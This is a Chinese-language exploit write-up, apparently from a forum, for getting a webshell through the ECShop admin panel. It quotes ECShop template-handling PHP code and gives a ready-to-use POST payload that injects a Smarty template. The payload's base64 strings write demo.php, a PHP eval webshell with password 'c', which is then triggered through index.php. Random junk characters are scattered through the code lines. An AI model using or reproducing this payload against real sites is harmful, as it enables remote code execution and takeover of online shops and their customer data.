Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
4 S/ G, k- Z; P# d/ O/ y
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
  ^$ x4 Z+ i! n  _但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
" `9 Z# s, W# N9 K9 v% n2 J, ?admin/template.php
5 J2 e+ P" L( W5 v( ~' z
1 if ($_REQUEST['act'] == 'update_library')

; y5 M) n7 }( e  }+ @+ C9 |5 P0 u2   
( b3 Z* H9 i& A) E
3 {

4     check_authz_json('library_manage');
& {; V- N9 |: U' ]/ A! R8 N# ?) s
5   
# _" E" L# U5 z. T
3 U# [$ l/ Z8 \) l6     $html = stripslashes(json_str_iconv($_POST['html']));

: j8 _. K/ x; R, n) w5 H) j% l* p2 z7   

( ]/ R, G# }9 H+ B: h# e8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

2 B& ]) M, t' C- [8 `3 B9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   
0 `6 B! f4 L1 f% i
; @8 g. M" u: @1 S! A) P12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
! Z1 f% G$ K5 i9 X( |
13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

$ v- E8 W% I! r+ g15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);

18     }

19     else

20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
2 [' M: B$ J% c
! |0 \3 R/ v1 \) T) ?% \22     }
$ Y4 |2 r1 C9 O7 b
23 }

那么找个比较方便调用了模板的文件
( i8 G% e1 x' n$ D! h) n. Sindex.php
" g+ j$ y0 V- L" b2 J/ L
1 if ($act == 'cat_rec')

# }) B0 U8 J" C7 q4 e6 L2   

3 {

4   
/ y( Q9 e6 a- \3 ]0 `
7 L* B4 d2 v4 C8 E' H* I$ e5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   
( C4 y% O$ E- i+ r) \
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
& @8 }7 P5 ~7 O' [- K
7 {  P/ w# B) ?8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
6 ^% Z' Z& y2 [9 e
10   
* N$ ~' L6 P' j5 O8 l
3 Y/ d) x) q% f4 M( _) [$ W11     include_once('includes/cls_json.php');

12   
$ n+ }1 D" N$ L0 v4 ]2 L( T, i7 d- B/ k
- @& p7 X) ]( B  {' i& p9 @13     $json = new JSON;

14   
6 t/ m4 S! q! ~3 r
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

1 _) `+ @1 ?* p. K0 Z: ~1 v; k16   

17     $children = get_children($cat_id);
! Q! L6 f/ Y" |% A  _( Q+ _2 k- {
, }& ^$ ]" P8 A/ T2 Y) m18   
# B+ u- ?( _: c4 R
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
3 t7 p6 P, U7 \( e
20   
; h' P$ w7 M2 G8 {- W
21     $smarty->assign('cat_rec_sign', 1);

22   

5 I3 _! P! a! u+ I  x23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

8 C: d8 Q5 T" z: ]- }# j3 {2 D24   
4 R+ o  d) v# c. {' q) F% i
9 H, m, [. U2 y! r' D0 l8 ]25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
. h$ A3 L  X. ^% W
) k3 w+ ?) v7 L1 W26   

27         echo $rec_array[$rec_type];

28   
6 r7 C4 Y# ], c3 U6 f$ k4 Z# T9 O
, q3 Q. b0 x! d7 V- ?0 l29     die($json->encode($result));
* V' E6 ~4 R( G
30   
- u0 ~# J( m% }8 Z& O
31 }
. g2 e* z$ ~9 ~0 m9 ]
那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
% _' ~6 ~. ?' y0 q% d) ]Post内容：
/ @- R. c' O; u" e5 ?0 T+ r' ?
​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
8 F" |( b1 B* X$ d7 t密码c
- T9 ~! `7 M, U
6 D5 y) B2 t+ M3 e+ k$ k$ H